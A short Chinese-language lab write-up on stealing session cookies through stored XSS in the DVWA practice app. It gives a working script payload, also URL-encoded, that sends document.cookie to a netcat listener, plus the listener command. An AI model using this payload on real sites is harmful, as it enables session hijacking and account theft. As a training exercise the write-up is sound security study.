XSS获取cookie
环境搭建
本次实验使用dvwa靶场搭建
使用工具nc
实验过程
首先把等级设置为low

选择XSS(Stored)存储型

先测试 一下
<script>alert(1)</script>

弹出了,确定有xss漏洞
打开nc
nc -lvvp 4444
构造xss语句
<script>
document.write('<img src="http://127.0.0.1:4444/?'+document.cookie+'"/> ');
</script>
但是这个有字数限制,可以通过burp抓包来更改

然后要url编码
<script>
document.write('<img+src%3d"http%3a//127.0.0.1%3a4444/%3f'%2bdocument.cookie%2b'"/>+')%3b
</script>
放行

接收到cookie